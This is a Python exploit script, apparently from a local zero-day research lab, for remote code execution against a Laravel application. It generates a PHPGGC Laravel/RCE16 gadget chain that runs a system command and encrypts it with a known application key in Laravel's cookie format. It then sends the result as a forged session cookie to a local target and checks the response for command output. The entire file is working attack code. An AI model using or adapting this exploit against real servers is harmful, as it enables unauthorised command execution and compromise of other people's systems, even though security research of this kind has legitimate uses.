#!/usr/bin/env python3
import requests
import subprocess
import base64
import os
import json
import hashlib
import hmac
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

requests.packages.urllib3.disable_warnings()

url = "http://127.0.0.1:9999"
KNOWN_KEY = b'A' * 32

def laravel_encrypt(data, key):
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pad(data, AES.block_size)
    encrypted = cipher.encrypt(padded)
    
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
    return base64.b64encode(json.dumps(payload).encode()).decode()

# Generate PHPGGC payload
result = subprocess.run(['/tmp/phpggc/phpggc', 'Laravel/RCE16', 'system', 'id'],
    capture_output=True)
payload = result.stdout.strip()
print(f"[1] PHPGGC payload: {len(payload)} bytes")

# Encrypt the payload
encrypted = laravel_encrypt(payload, KNOWN_KEY)
print(f"[2] Encrypted payload: {len(encrypted)} bytes")

# Create the session cookie value (JSON with expires and data)
session_id = "pwned123456789012345678901234567890"  # 40 char session ID
session_cookie_value = json.dumps({
    "expires": int(time.time()) + 3600,  # 1 hour from now
    "data": encrypted
})

print(f"[3] Session cookie value: {len(session_cookie_value)} bytes")

# Send cookies
sess = requests.Session()
sess.cookies.set('kd_session', session_id)  # Session ID cookie
sess.cookies.set(session_id, session_cookie_value)  # Session data cookie

print(f"[4] Sending request...")
r = sess.get(url, timeout=30)
print(f"    Response: HTTP {r.status_code}")

if 'uid=' in r.text:
    for line in r.text.split('\n'):
        if 'uid=' in line:
            print(f"\n[!] RCE SUCCESS: {line.strip()}")
            break
else:
    print("[-] No RCE output in response")
    
# Check log for errors
print("\n[5] Checking Laravel log...")
with open('/home/c/ZERODAY/lab/target/opendk/storage/logs/laravel.log', 'r') as f:
    log = f.read()
    if 'decrypt' in log.lower() or 'mac' in log.lower() or 'unserialize' in log.lower():
        print("    Found relevant errors in log")
        # Print last few lines
        lines = log.strip().split('\n')[-10:]
        for line in lines:
            print(f"    {line}")
    else:
        print("    No decryption/serialization errors in log")
